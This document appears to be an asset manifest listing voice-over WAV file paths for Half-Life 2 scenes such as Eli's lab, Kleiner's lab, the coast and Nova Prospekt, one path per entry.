+vo/coast/cardock/le_map.wav +vo/coast/cardock/le_onfoot.wav +vo/coast/cardock/le_overhere.wav +vo/coast/cardock/le_patchhim.wav +vo/coast/cardock/le_radio.wav +vo/coast/cardock/le_radioloop.wav +vo/coast/cardock/le_radioloop_b.wav +vo/coast/cardock/le_radioloop_c.wav +vo/coast/cardock/le_restock.wav +vo/coast/cardock/le_staywithcar.wav +vo/coast/cardock/le_whohurt.wav +vo/coast/cardock/le_youmadeit.wav +vo/coast/cardock/med_online.wav +vo/coast/cardock/wo_winston.wav +vo/coast/odessa/nlo_cub_carry.wav +vo/coast/odessa/nlo_cub_class01.wav +vo/coast/odessa/nlo_cub_class02.wav +vo/coast/odessa/nlo_cub_class03.wav +vo/coast/odessa/nlo_cub_corkscrew.wav +vo/coast/odessa/nlo_cub_farewell.wav +vo/coast/odessa/nlo_cub_freeman.wav +vo/coast/odessa/nlo_cub_hello.wav +vo/coast/odessa/nlo_cub_ledtobelieve.wav +vo/coast/odessa/nlo_cub_opengate.wav +vo/coast/odessa/nlo_cub_radio.wav +vo/coast/odessa/nlo_cub_roadahead.wav +vo/coast/odessa/nlo_cub_service.wav +vo/coast/odessa/nlo_cub_teachgunship.wav +vo/coast/odessa/nlo_cub_thatsthat.wav +vo/coast/odessa/nlo_cub_volunteer.wav +vo/coast/odessa/nlo_cub_warning.wav +vo/coast/odessa/nlo_cub_wherewasi.wav +vo/coast/odessa/nlo_cub_youllmakeit.wav +vo/coast/odessa/nlo_greet_freeman.wav +vo/coast/odessa/nlo_greet_intro.wav +vo/coast/odessa/nlo_greet_nag01.wav +vo/coast/odessa/nlo_greet_nag02.wav +vo/coast/odessa/nlo_vort_exit.wav +vo/coast/odessa/female01/nlo_cheer01.wav +vo/coast/odessa/female01/nlo_cheer02.wav +vo/coast/odessa/female01/nlo_cheer03.wav +vo/coast/odessa/female01/nlo_citizen_bringcar.wav +vo/coast/odessa/female01/nlo_citizen_drivesafe.wav +vo/coast/odessa/female01/nlo_citizen_greet01.wav +vo/coast/odessa/female01/nlo_citizen_greet02.wav +vo/coast/odessa/female01/nlo_citizen_greet03.wav +vo/coast/odessa/female01/nlo_citizen_greet04.wav +vo/coast/odessa/female01/nlo_citizen_post01.wav +vo/coast/odessa/female01/nlo_citizen_post02.wav +vo/coast/odessa/female01/nlo_citizen_post03.wav +vo/coast/odessa/female01/nlo_cubdeath01.wav +vo/coast/odessa/female01/nlo_cubdeath02.wav +vo/coast/odessa/female01/nlo_getyourjeep.wav +vo/coast/odessa/female01/nlo_opengate.wav +vo/coast/odessa/female01/nlo_yourcarsir.wav +vo/coast/odessa/female01/stairman_follow01.wav +vo/coast/odessa/female01/stairman_follow03.wav +vo/coast/odessa/male01/nlo_cheer01.wav +vo/coast/odessa/male01/nlo_cheer02.wav +vo/coast/odessa/male01/nlo_cheer03.wav +vo/coast/odessa/male01/nlo_cheer04.wav +vo/coast/odessa/male01/nlo_citizen_bringcar.wav +vo/coast/odessa/male01/nlo_citizen_drivesafe.wav +vo/coast/odessa/male01/nlo_citizen_greet01.wav +vo/coast/odessa/male01/nlo_citizen_greet02.wav +vo/coast/odessa/male01/nlo_citizen_greet03.wav +vo/coast/odessa/male01/nlo_citizen_greet04.wav +vo/coast/odessa/male01/nlo_citizen_post01.wav +vo/coast/odessa/male01/nlo_citizen_post02.wav +vo/coast/odessa/male01/nlo_citizen_post03.wav +vo/coast/odessa/male01/nlo_cubdeath01.wav +vo/coast/odessa/male01/nlo_cubdeath02.wav +vo/coast/odessa/male01/nlo_getyourjeep.wav +vo/coast/odessa/male01/nlo_opengate.wav +vo/coast/odessa/male01/nlo_yourcarsir.wav +vo/coast/odessa/male01/stairman_follow01.wav +vo/coast/odessa/male01/stairman_follow03.wav +vo/eli_lab/airlock_cit01.wav +vo/eli_lab/airlock_cit02.wav +vo/eli_lab/airlock_cit03.wav +vo/eli_lab/al_allright01.wav +vo/eli_lab/al_anotherdog.wav +vo/eli_lab/al_autocycle.wav +vo/eli_lab/al_awesome.wav +vo/eli_lab/al_blamingme.wav +vo/eli_lab/al_buildastack.wav +vo/eli_lab/al_cavedin_b.wav +vo/eli_lab/al_cavedin_c.wav +vo/eli_lab/al_cmongord01.wav +vo/eli_lab/al_cmongord02.wav +vo/eli_lab/al_comeongord01.wav +vo/eli_lab/al_comeongord02.wav +vo/eli_lab/al_dadplease.wav +vo/eli_lab/al_dadwhatsup.wav +vo/eli_lab/al_dad_ques01.wav +vo/eli_lab/al_dad_scared01.wav +vo/eli_lab/al_dad_scared02.wav +vo/eli_lab/al_dogairlock01.wav +vo/eli_lab/al_dogairlock02.wav +vo/eli_lab/al_dogcome.wav +vo/eli_lab/al_doyouread.wav +vo/eli_lab/al_earnedit01.wav +vo/eli_lab/al_excellent01.wav +vo/eli_lab/al_getitopen01.wav +vo/eli_lab/al_getitopen02.wav +vo/eli_lab/al_getyourball.wav +vo/eli_lab/al_giveittry.wav +vo/eli_lab/al_goaheaddog.wav +vo/eli_lab/al_goodcatch.wav +vo/eli_lab/al_gooddoggie.wav +vo/eli_lab/al_goodthrow.wav +vo/eli_lab/al_grabthrow.wav +vo/eli_lab/al_gravdrop.wav +vo/eli_lab/al_gravgun.wav +vo/eli_lab/al_havefun.wav +vo/eli_lab/al_hazmat.wav +vo/eli_lab/al_hereyougo02.wav +vo/eli_lab/al_heshere.wav +vo/eli_lab/al_hums.wav +vo/eli_lab/al_hums_b.wav +vo/eli_lab/al_intoairlock01.wav +vo/eli_lab/al_intoairlock02.wav +vo/eli_lab/al_intoairlock03.wav +vo/eli_lab/al_intoairlock04.wav +vo/eli_lab/al_intoairlock05.wav +vo/eli_lab/al_laugh01.wav +vo/eli_lab/al_laugh02.wav +vo/eli_lab/al_letmedo.wav +vo/eli_lab/al_liketofetch.wav +vo/eli_lab/al_metmossman01.wav +vo/eli_lab/al_metmossman03.wav +vo/eli_lab/al_metmossman04.wav +vo/eli_lab/al_minefield.wav +vo/eli_lab/al_nicecatch01.wav +vo/eli_lab/al_niceshot.wav +vo/eli_lab/al_noboydown.wav +vo/eli_lab/al_nodog.wav +vo/eli_lab/al_nowcalldog.wav +vo/eli_lab/al_okletsplay.wav +vo/eli_lab/al_pickuptoss.wav +vo/eli_lab/al_placeobjs.wav +vo/eli_lab/al_primary.wav +vo/eli_lab/al_pullfromdistance.wav +vo/eli_lab/al_pullfromdistance_b.wav +vo/eli_lab/al_ravenholm01.wav +vo/eli_lab/al_ravenholm02.wav +vo/eli_lab/al_ravenholm02b.wav +vo/eli_lab/al_ravenholm06.wav +vo/eli_lab/al_scanners01.wav +vo/eli_lab/al_scanners02.wav +vo/eli_lab/al_scanners03.wav +vo/eli_lab/al_scanners06.wav +vo/eli_lab/al_scanners07.wav +vo/eli_lab/al_scrapyard.wav +vo/eli_lab/al_seeifyoucanstack.wav +vo/eli_lab/al_somethingbigger.wav +vo/eli_lab/al_somethingelse.wav +vo/eli_lab/al_soquickly01.wav +vo/eli_lab/al_soquickly02.wav +vo/eli_lab/al_soquickly03.wav +vo/eli_lab/al_standbackdog.wav +vo/eli_lab/al_sweet.wav +vo/eli_lab/al_takegord02.wav +vo/eli_lab/al_takeit.wav +vo/eli_lab/al_takethis.wav +vo/eli_lab/al_thisisdog01.wav +vo/eli_lab/al_thisisgravgun.wav +vo/eli_lab/al_throwanotherdog.wav +vo/eli_lab/al_throwitdog.wav +vo/eli_lab/al_throwtodog.wav +vo/eli_lab/al_thyristor02.wav +vo/eli_lab/al_trystacking.wav +vo/eli_lab/al_ugh.wav +vo/eli_lab/al_usegravgun.wav +vo/eli_lab/al_wasted01.wav +vo/eli_lab/al_wasted02.wav +vo/eli_lab/al_wheresball.wav +vo/eli_lab/al_yayhigh.wav +vo/eli_lab/eli_alyxhoney.wav +vo/eli_lab/eli_broke.wav +vo/eli_lab/eli_finesci.wav +vo/eli_lab/eli_goodvort.wav +vo/eli_lab/eli_gordonwith.wav +vo/eli_lab/eli_gowithalyx01.wav +vo/eli_lab/eli_gowithalyx02.wav +vo/eli_lab/eli_gowithalyx03.wav +vo/eli_lab/eli_greeting.wav +vo/eli_lab/eli_handle.wav +vo/eli_lab/eli_handle_b.wav +vo/eli_lab/eli_ladies.wav +vo/eli_lab/eli_littlewhile.wav +vo/eli_lab/eli_lookaround.wav +vo/eli_lab/eli_lookgordon.wav +vo/eli_lab/eli_mit.wav +vo/eli_lab/eli_photo01.wav +vo/eli_lab/eli_photo02.wav +vo/eli_lab/eli_portal01.wav +vo/eli_lab/eli_portal02.wav +vo/eli_lab/eli_safety.wav +vo/eli_lab/eli_staytogether01.wav +vo/eli_lab/eli_staytogether02.wav +vo/eli_lab/eli_surface.wav +vo/eli_lab/eli_surface_b.wav +vo/eli_lab/eli_thing.wav +vo/eli_lab/eli_vilebiz01.wav +vo/eli_lab/eli_vilebiz02.wav +vo/eli_lab/eli_vilebiz03.wav +vo/eli_lab/eli_vilebiz04.wav +vo/eli_lab/eli_wantyou.wav +vo/eli_lab/eli_welcometolab.wav +vo/eli_lab/mo_airlock01.wav +vo/eli_lab/mo_airlock02.wav +vo/eli_lab/mo_airlock03.wav +vo/eli_lab/mo_airlock04.wav +vo/eli_lab/mo_airlock05.wav +vo/eli_lab/mo_airlock06.wav +vo/eli_lab/mo_airlock07.wav +vo/eli_lab/mo_airlock08.wav +vo/eli_lab/mo_airlock09.wav +vo/eli_lab/mo_airlock10.wav +vo/eli_lab/mo_airlock11.wav +vo/eli_lab/mo_airlock12.wav +vo/eli_lab/mo_airlock13.wav +vo/eli_lab/mo_airlock14.wav +vo/eli_lab/mo_alyxonwatch.wav +vo/eli_lab/mo_anyway04.wav +vo/eli_lab/mo_badcapacitor01.wav +vo/eli_lab/mo_badcapacitor02.wav +vo/eli_lab/mo_deliberately.wav +vo/eli_lab/mo_difference.wav +vo/eli_lab/mo_digup01.wav +vo/eli_lab/mo_extrahelp01.wav +vo/eli_lab/mo_extrahelp02.wav +vo/eli_lab/mo_extrahelp03.wav +vo/eli_lab/mo_extrahelp04.wav +vo/eli_lab/mo_extrahelp05.wav +vo/eli_lab/mo_extrahelp06.wav +vo/eli_lab/mo_extrahelp07.wav +vo/eli_lab/mo_extrahelp08.wav +vo/eli_lab/mo_gotoeli01.wav +vo/eli_lab/mo_gotoeli02.wav +vo/eli_lab/mo_gotoeli03.wav +vo/eli_lab/mo_gotoeli04.wav +vo/eli_lab/mo_gowithalyx01.wav +vo/eli_lab/mo_gowithalyx02.wav +vo/eli_lab/mo_hereseli01.wav +vo/eli_lab/mo_hereseli02.wav +vo/eli_lab/mo_hurryup01.wav +vo/eli_lab/mo_lookwho01.wav +vo/eli_lab/mo_noblame.wav +vo/eli_lab/mo_notatoy.wav +vo/eli_lab/mo_postdoc01.wav +vo/eli_lab/mo_postdoc02.wav +vo/eli_lab/mo_realhonor02.wav +vo/eli_lab/mo_relay01.wav +vo/eli_lab/mo_relay02.wav +vo/eli_lab/mo_relay03.wav +vo/eli_lab/mo_taketoeli.wav +vo/eli_lab/mo_thiswaydoc.wav +vo/eli_lab/vort_elab_use01.wav +vo/eli_lab/vort_elab_use02.wav +vo/eli_lab/vort_elab_use03.wav +vo/eli_lab/vort_elab_use04.wav +vo/eli_lab/vort_elab_use05.wav +vo/gman_misc/gman_02.wav +vo/gman_misc/gman_03.wav +vo/gman_misc/gman_04.wav +vo/gman_misc/gman_riseshine.wav +vo/k_lab/al_aboutthecat.wav +vo/k_lab/al_allrightdoc.wav +vo/k_lab/al_animalperson.wav +vo/k_lab/al_buyyoudrink01.wav +vo/k_lab/al_buyyoudrink02.wav +vo/k_lab/al_buyyoudrink03.wav +vo/k_lab/al_careful.wav +vo/k_lab/al_careful02.wav +vo/k_lab/al_carefulthere.wav +vo/k_lab/al_cmonfreeman.wav +vo/k_lab/al_comeon.wav +vo/k_lab/al_comingthru.wav +vo/k_lab/al_comingwith.wav +vo/k_lab/al_docsays01.wav +vo/k_lab/al_docsays02.wav +vo/k_lab/al_foundhim.wav +vo/k_lab/al_heydoc.wav +vo/k_lab/al_hmm.wav +vo/k_lab/al_itsthere.wav +vo/k_lab/al_keepitgoing.wav +vo/k_lab/al_kleinerswaiting.wav +vo/k_lab/al_letsdoit.wav +vo/k_lab/al_lostgordon.wav +vo/k_lab/al_moveon01.wav +vo/k_lab/al_moveon02.wav +vo/k_lab/al_readyforus.wav +vo/k_lab/al_seeifitworks.wav +vo/k_lab/al_showonroad.wav +vo/k_lab/al_takecredit.wav +vo/k_lab/al_takeiteasy.wav +vo/k_lab/al_thatsit.wav +vo/k_lab/al_theplug.wav +vo/k_lab/al_there.wav +vo/k_lab/al_thereheis.wav +vo/k_lab/al_theswitch.wav +vo/k_lab/al_throwswitch.wav +vo/k_lab/al_uhoh01.wav +vo/k_lab/al_whatcat01.wav +vo/k_lab/al_whatcat02.wav +vo/k_lab/al_whatsgoingon.wav +vo/k_lab/al_wontlook.wav +vo/k_lab/al_woohoo.wav +vo/k_lab/al_youcoming.wav +vo/k_lab/ba_cantkeephim01.wav +vo/k_lab/ba_cantkeephim02.wav +vo/k_lab/ba_cantlook.wav +vo/k_lab/ba_careful01.wav +vo/k_lab/ba_careful02.wav +vo/k_lab/ba_dontblameyou.wav +vo/k_lab/ba_dontworry01.wav +vo/k_lab/ba_forgetthatthing.wav +vo/k_lab/ba_geethanks.wav +vo/k_lab/ba_getamoveon.wav +vo/k_lab/ba_getitoff01.wav +vo/k_lab/ba_getitoff02.wav +vo/k_lab/ba_getoutofsight01.wav +vo/k_lab/ba_getoutofsight02.wav +vo/k_lab/ba_getsuiton.wav +vo/k_lab/ba_goodluck02.wav +vo/k_lab/ba_guh.wav +vo/k_lab/ba_headhumper01.wav +vo/k_lab/ba_headhumper02.wav +vo/k_lab/ba_hearthosesirens.wav +vo/k_lab/ba_hesback01.wav +vo/k_lab/ba_hesback02.wav +vo/k_lab/ba_ishehere.wav +vo/k_lab/ba_itsworking01.wav +vo/k_lab/ba_itsworking02.wav +vo/k_lab/ba_itsworking03.wav +vo/k_lab/ba_itsworking04.wav +vo/k_lab/ba_juicedup.wav +vo/k_lab/ba_longer.wav +vo/k_lab/ba_myshift01.wav +vo/k_lab/ba_myshift02.wav +vo/k_lab/ba_notime.wav +vo/k_lab/ba_notimetofool01.wav +vo/k_lab/ba_notimetofool02.wav +vo/k_lab/ba_nottoosoon01.wav +vo/k_lab/ba_outcivvies.wav +vo/k_lab/ba_pissinmeoff.wav +vo/k_lab/ba_pushinit.wav +vo/k_lab/ba_saidlasttime.wav +vo/k_lab/ba_sarcastic01.wav +vo/k_lab/ba_sarcastic02.wav +vo/k_lab/ba_sarcastic03.wav +vo/k_lab/ba_suitup.wav +vo/k_lab/ba_thatpest.wav +vo/k_lab/ba_thereheis.wav +vo/k_lab/ba_thereyouare.wav +vo/k_lab/ba_thingaway01.wav +vo/k_lab/ba_thingaway02.wav +vo/k_lab/ba_thingaway03.wav +vo/k_lab/ba_thisway.wav +vo/k_lab/ba_whatthehell.wav +vo/k_lab/ba_whoops.wav +vo/k_lab/br_significant.wav +vo/k_lab/br_tele_02.wav +vo/k_lab/br_tele_03.wav +vo/k_lab/br_tele_05.wav +vo/k_lab/br_thereheis.wav +vo/k_lab/eli_allset.wav +vo/k_lab/eli_areyouthere.wav +vo/k_lab/eli_behindyou.wav +vo/k_lab/eli_bringthrough.wav +vo/k_lab/eli_didntcomethru.wav +vo/k_lab/eli_notquite03.wav +vo/k_lab/eli_notwhoithink.wav +vo/k_lab/eli_phenom02.wav +vo/k_lab/eli_seeforyourself.wav +vo/k_lab/eli_shutdown.wav +vo/k_lab/eli_stayput.wav +vo/k_lab/kl_ahhhh.wav +vo/k_lab/kl_almostforgot.wav +vo/k_lab/kl_barneyhonor.wav +vo/k_lab/kl_barneysturn.wav +vo/k_lab/kl_besokind.wav +vo/k_lab/kl_blast.wav +vo/k_lab/kl_bonvoyage.wav +vo/k_lab/kl_cantcontinue.wav +vo/k_lab/kl_cantwade.wav +vo/k_lab/kl_careful.wav +vo/k_lab/kl_charger01.wav +vo/k_lab/kl_charger02.wav +vo/k_lab/kl_coaxherout.wav +vo/k_lab/kl_comeout.wav +vo/k_lab/kl_credit.wav +vo/k_lab/kl_dearme.wav +vo/k_lab/kl_debeaked.wav +vo/k_lab/kl_delaydanger.wav +vo/k_lab/kl_diditwork.wav +vo/k_lab/kl_ensconced.wav +vo/k_lab/kl_excellent.wav +vo/k_lab/kl_fewmoments01.wav +vo/k_lab/kl_fewmoments02.wav +vo/k_lab/kl_fiddlesticks.wav +vo/k_lab/kl_finalsequence.wav +vo/k_lab/kl_finalsequence02.wav +vo/k_lab/kl_fitglove01.wav +vo/k_lab/kl_fitglove02.wav +vo/k_lab/kl_fruitlessly.wav +vo/k_lab/kl_getinposition.wav +vo/k_lab/kl_getoutrun01.wav +vo/k_lab/kl_getoutrun02.wav +vo/k_lab/kl_getoutrun03.wav +vo/k_lab/kl_gordongo.wav +vo/k_lab/kl_gordonthrow.wav +vo/k_lab/kl_hedyno01.wav +vo/k_lab/kl_hedyno02.wav +vo/k_lab/kl_hedyno03.wav +vo/k_lab/kl_helloalyx01.wav +vo/k_lab/kl_helloalyx02.wav +vo/k_lab/kl_heremypet01.wav +vo/k_lab/kl_heremypet02.wav +vo/k_lab/kl_hesnotthere.wav +vo/k_lab/kl_holdup01.wav +vo/k_lab/kl_holdup02.wav +vo/k_lab/kl_initializing.wav +vo/k_lab/kl_initializing02.wav +vo/k_lab/kl_interference.wav +vo/k_lab/kl_islamarr.wav +vo/k_lab/kl_lamarr.wav +vo/k_lab/kl_masslessfieldflux.wav +vo/k_lab/kl_modifications01.wav +vo/k_lab/kl_modifications02.wav +vo/k_lab/kl_moduli02.wav +vo/k_lab/kl_mygoodness01.wav +vo/k_lab/kl_mygoodness02.wav +vo/k_lab/kl_mygoodness03.wav +vo/k_lab/kl_nocareful.wav +vo/k_lab/kl_nonsense.wav +vo/k_lab/kl_nownow01.wav +vo/k_lab/kl_nownow02.wav +vo/k_lab/kl_ohdear.wav +vo/k_lab/kl_opportunetime01.wav +vo/k_lab/kl_opportunetime02.wav +vo/k_lab/kl_packing01.wav +vo/k_lab/kl_packing02.wav +vo/k_lab/kl_plugusin.wav +vo/k_lab/kl_projectyou.wav +vo/k_lab/kl_redletterday01.wav +vo/k_lab/kl_redletterday02.wav +vo/k_lab/kl_relieved.wav +vo/k_lab/kl_slipin01.wav +vo/k_lab/kl_slipin02.wav +vo/k_lab/kl_suitfits01.wav +vo/k_lab/kl_suitfits02.wav +vo/k_lab/kl_thenwhere.wav +vo/k_lab/kl_waitmyword.wav +vo/k_lab/kl_weowe.wav +vo/k_lab/kl_whatisit.wav +vo/k_lab/kl_wishiknew.wav +vo/k_lab/kl_yourturn.wav +vo/k_lab/mo_drawing.wav +vo/k_lab/mo_interfer.wav +vo/k_lab/mo_losinghim.wav +vo/k_lab2/al_andmyfather.wav +vo/k_lab2/al_anotherpet.wav +vo/k_lab2/al_aweek.wav +vo/k_lab2/al_aweek_b.wav +vo/k_lab2/al_catchup.wav +vo/k_lab2/al_catchup_b.wav +vo/k_lab2/al_doggowithgordon.wav +vo/k_lab2/al_dogyoumadeit.wav +vo/k_lab2/al_exploded.wav +vo/k_lab2/al_exploded_b.wav +vo/k_lab2/al_getmyfather.wav +vo/k_lab2/al_goodboy.wav +vo/k_lab2/al_gordontakecare.wav +vo/k_lab2/al_gordontakecare_b.wav +vo/k_lab2/al_headyourway.wav +vo/k_lab2/al_illtakecareofthis.wav +vo/k_lab2/al_klab2_exitnag01.wav +vo/k_lab2/al_klab2_exitnag02.wav +vo/k_lab2/al_klab2_exitnag03.wav +vo/k_lab2/al_notime.wav +vo/k_lab2/al_notime_b.wav +vo/k_lab2/al_optimism.wav +vo/k_lab2/al_wemadeit.wav +vo/k_lab2/al_whatdoyoumean.wav +vo/k_lab2/al_whatdoyoumean_b.wav +vo/k_lab2/al_whatswrong.wav +vo/k_lab2/al_whee_b.wav +vo/k_lab2/al_wheresdoc01.wav +vo/k_lab2/al_wheresdoc02.wav +vo/k_lab2/ba_getgoing.wav +vo/k_lab2/ba_goodnews.wav +vo/k_lab2/ba_goodnews_b.wav +vo/k_lab2/ba_goodnews_c.wav +vo/k_lab2/ba_goodnews_d.wav +vo/k_lab2/ba_heydoc01.wav +vo/k_lab2/ba_heydoc02.wav +vo/k_lab2/ba_incoming.wav +vo/k_lab2/kl_aroundhere.wav +vo/k_lab2/kl_atthecitadel01.wav +vo/k_lab2/kl_atthecitadel01_b.wav +vo/k_lab2/kl_aweekago01.wav +vo/k_lab2/kl_blowyoustruck01.wav +vo/k_lab2/kl_blowyoustruck02.wav +vo/k_lab2/kl_cantleavelamarr.wav +vo/k_lab2/kl_cantleavelamarr_b.wav +vo/k_lab2/kl_comeoutlamarr.wav +vo/k_lab2/kl_dontgiveuphope02.wav +vo/k_lab2/kl_dontgiveuphope03.wav +vo/k_lab2/kl_givenuphope.wav +vo/k_lab2/kl_greatscott.wav +vo/k_lab2/kl_howandwhen01.wav +vo/k_lab2/kl_howandwhen02.wav +vo/k_lab2/kl_lamarr.wav +vo/k_lab2/kl_lamarrwary01.wav +vo/k_lab2/kl_lamarrwary02.wav +vo/k_lab2/kl_nolongeralone.wav +vo/k_lab2/kl_nolongeralone_b.wav +vo/k_lab2/kl_notallhopeless.wav +vo/k_lab2/kl_notallhopeless_b.wav +vo/k_lab2/kl_onehedy.wav +vo/k_lab2/kl_slowteleport01.wav +vo/k_lab2/kl_slowteleport01_b.wav +vo/k_lab2/kl_slowteleport02.wav +vo/NovaProspekt/al_almostthere.wav +vo/NovaProspekt/al_backdown.wav +vo/NovaProspekt/al_betyoudid01.wav +vo/NovaProspekt/al_betyoudid03.wav +vo/NovaProspekt/al_bringhimin.wav +vo/NovaProspekt/al_careofyourself.wav +vo/NovaProspekt/al_combinespy01.wav +vo/NovaProspekt/al_combinespy03.wav +vo/NovaProspekt/al_combinespy04.wav +vo/NovaProspekt/al_combinespy05.wav +vo/NovaProspekt/al_comebackdad.wav +vo/NovaProspekt/al_comeon01.wav +vo/NovaProspekt/al_comeonin02.wav +vo/NovaProspekt/al_covermegordon.wav +vo/NovaProspekt/al_croom2_arrival.wav +vo/NovaProspekt/al_croom2_entry.wav +vo/NovaProspekt/al_croom2_fields.wav +vo/NovaProspekt/al_croom2_incoming.wav +vo/NovaProspekt/al_croom2_incoming_2.wav +vo/NovaProspekt/al_croom2_search.wav +vo/NovaProspekt/al_dadallright.wav +vo/NovaProspekt/al_daddownhere01.wav +vo/NovaProspekt/al_daddownhere02.wav +vo/NovaProspekt/al_dadswork.wav +vo/NovaProspekt/al_docstop.wav +vo/NovaProspekt/al_done01.wav +vo/NovaProspekt/al_drk01.wav +vo/NovaProspekt/al_drk02.wav +vo/NovaProspekt/al_drkleiner01.wav +vo/NovaProspekt/al_drkleiner01_b.wav +vo/NovaProspekt/al_drkleiner01_c.wav +vo/NovaProspekt/al_drkleiner01_d.wav +vo/NovaProspekt/al_drkleiner01_e.wav +vo/NovaProspekt/al_elevator02.wav +vo/NovaProspekt/al_elevator03.wav +vo/NovaProspekt/al_enoughbs01.wav +vo/NovaProspekt/al_enoughbs02.wav +vo/NovaProspekt/al_findmossman01.wav +vo/NovaProspekt/al_findmossman03.wav +vo/NovaProspekt/al_findmyfather.wav +vo/NovaProspekt/al_flyingblind.wav +vo/NovaProspekt/al_followme01.wav +vo/NovaProspekt/al_gasp01.wav +vo/NovaProspekt/al_getopen.wav +vo/NovaProspekt/al_gladtoseeyou.wav +vo/NovaProspekt/al_gladtoseeyoureok.wav +vo/NovaProspekt/al_goonthru01.wav +vo/NovaProspekt/al_goonthru02.wav +vo/NovaProspekt/al_goonthru03.wav +vo/NovaProspekt/al_goonthru04.wav +vo/NovaProspekt/al_gordon01.wav +vo/NovaProspekt/al_gordongetin.wav +vo/NovaProspekt/al_gotyounow01.wav +vo/NovaProspekt/al_gotyounow02.wav +vo/NovaProspekt/al_hacksecurity01.wav +vo/NovaProspekt/al_halfway.wav +vo/NovaProspekt/al_hereweare.wav +vo/NovaProspekt/al_holdit.wav +vo/NovaProspekt/al_holdon.wav +vo/NovaProspekt/al_horrible01.wav +vo/NovaProspekt/al_hurrymossman.wav +vo/NovaProspekt/al_icanreprogram.wav +vo/NovaProspekt/al_illtakecare.wav +vo/NovaProspekt/al_illtalk.wav +vo/NovaProspekt/al_inhere01.wav +vo/NovaProspekt/al_itsdone.wav +vo/NovaProspekt/al_justseconds.wav +vo/NovaProspekt/al_keepsetup01.wav +vo/NovaProspekt/al_keepsetup02.wav +vo/NovaProspekt/al_keepsetup02r.wav +vo/NovaProspekt/al_keepsetup03.wav +vo/NovaProspekt/al_keepsetup03r.wav +vo/NovaProspekt/al_keepsetup04.wav +vo/NovaProspekt/al_keepsetup04r.wav +vo/NovaProspekt/al_leapfrog01.wav +vo/NovaProspekt/al_letsgetgoing.wav +vo/NovaProspekt/al_letsgetout01.wav +vo/NovaProspekt/al_lookmonitor.wav +vo/NovaProspekt/al_mayneedher.wav +vo/NovaProspekt/al_meethim.wav +vo/NovaProspekt/al_meetyouthere01.wav +vo/NovaProspekt/al_moresoldiers01.wav +vo/NovaProspekt/al_moresoldiers02.wav +vo/NovaProspekt/al_moresoldiers04.wav +vo/NovaProspekt/al_mutter.wav +vo/NovaProspekt/al_nostop.wav +vo/NovaProspekt/al_notexactly.wav +vo/NovaProspekt/al_notleavinghere01.wav +vo/NovaProspekt/al_notleavingyou01.wav +vo/NovaProspekt/al_notleavingyou01_a.wav +vo/NovaProspekt/al_ohmygod.wav +vo/NovaProspekt/al_onepiece.wav +vo/NovaProspekt/al_overhere.wav +vo/NovaProspekt/al_perfecttiming03.wav +vo/NovaProspekt/al_perfecttiming03_b.wav +vo/NovaProspekt/al_pickherup.wav +vo/NovaProspekt/al_poorpeople.wav +vo/NovaProspekt/al_readings01.wav +vo/NovaProspekt/al_readings02.wav +vo/NovaProspekt/al_resetting.wav +vo/NovaProspekt/al_room1_blockedgate.wav +vo/NovaProspekt/al_room1_blockedgate_2.wav +vo/NovaProspekt/al_room1_blockedgate_2_nag.wav +vo/NovaProspekt/al_room1_gate.wav +vo/NovaProspekt/al_room1_lights.wav +vo/NovaProspekt/al_room1_lights_on.wav +vo/NovaProspekt/al_room1_move_shelves.wav +vo/NovaProspekt/al_room1_move_shelves_nag.wav +vo/NovaProspekt/al_room2_gate.wav +vo/NovaProspekt/al_room2_gate2.wav +vo/NovaProspekt/al_room2_vent.wav +vo/NovaProspekt/al_room5_done.wav +vo/NovaProspekt/al_room5_entry.wav +vo/NovaProspekt/al_room5_incoming.wav +vo/NovaProspekt/al_room5_turrets.wav +vo/NovaProspekt/al_sealdoor01.wav +vo/NovaProspekt/al_sealdoor02.wav +vo/NovaProspekt/al_senddadthru.wav +vo/NovaProspekt/al_setturrets.wav +vo/NovaProspekt/al_sheupto01.wav +vo/NovaProspekt/al_sheupto02.wav +vo/NovaProspekt/al_sheupto03.wav +vo/NovaProspekt/al_shutupandbeglad01.wav +vo/NovaProspekt/al_shutupandbeglad02.wav +vo/NovaProspekt/al_sorrysolong.wav +vo/NovaProspekt/al_sorrytooksolong.wav +vo/NovaProspekt/al_takingforever.wav +vo/NovaProspekt/al_thecoords.wav +vo/NovaProspekt/al_there.wav +vo/NovaProspekt/al_thereheis01.wav +vo/NovaProspekt/al_theyrecoming.wav +vo/NovaProspekt/al_uhoh_np.wav +vo/NovaProspekt/al_useturrets.wav +vo/NovaProspekt/al_warmeditup.wav +vo/NovaProspekt/al_werecomingin.wav +vo/NovaProspekt/al_whatcoords.wav +vo/NovaProspekt/al_whereareyou01.wav +vo/NovaProspekt/al_whereareyou02.wav +vo/NovaProspekt/al_whereareyou03.wav +vo/NovaProspekt/al_youandbreen.wav +vo/NovaProspekt/al_youbeenworking.wav +vo/NovaProspekt/al_youmadeit.wav +vo/NovaProspekt/al_yououtdad.wav +vo/NovaProspekt/al_youput01.wav +vo/NovaProspekt/al_youput02.wav +vo/NovaProspekt/br_blinded.wav +vo/NovaProspekt/br_disturb.wav +vo/NovaProspekt/br_leeway01.wav +vo/NovaProspekt/br_loyalties.wav +vo/NovaProspekt/br_outoftime.wav +vo/NovaProspekt/br_overzealous.wav +vo/NovaProspekt/eli_dontworry.wav +vo/NovaProspekt/eli_foundme01.wav +vo/NovaProspekt/eli_foundme02.wav +vo/NovaProspekt/eli_getoutofhere.wav +vo/NovaProspekt/eli_iknow.wav +vo/NovaProspekt/eli_judithshelp01.wav +vo/NovaProspekt/eli_nevermindme01.wav +vo/NovaProspekt/eli_notime01.wav +vo/NovaProspekt/eli_notworthrisk.wav +vo/NovaProspekt/eli_thisisportal.wav +vo/NovaProspekt/eli_whatgoingon.wav +vo/NovaProspekt/eli_wherewillyougo01.wav +vo/NovaProspekt/kl_await.wav +vo/NovaProspekt/kl_ready.wav +vo/NovaProspekt/kl_stopwho.wav +vo/NovaProspekt/kl_yesalyx.wav +vo/NovaProspekt/mo_alreadyrerouted01.wav +vo/NovaProspekt/mo_alreadyrerouted02.wav +vo/NovaProspekt/mo_asistated.wav +vo/NovaProspekt/mo_drplease.wav +vo/NovaProspekt/mo_feelings.wav +vo/NovaProspekt/mo_fromplatform.wav +vo/NovaProspekt/mo_hadtoprove01.wav +vo/NovaProspekt/mo_hadtoprove02.wav +vo/NovaProspekt/mo_howdyougetin.wav +vo/NovaProspekt/mo_inacell.wav +vo/NovaProspekt/mo_nevertillnow.wav +vo/NovaProspekt/mo_onlyway.wav +vo/NovaProspekt/mo_promised.wav +vo/NovaProspekt/mo_protectfather01.wav +vo/NovaProspekt/mo_pulsefoaming.wav +vo/NovaProspekt/mo_signal.wav 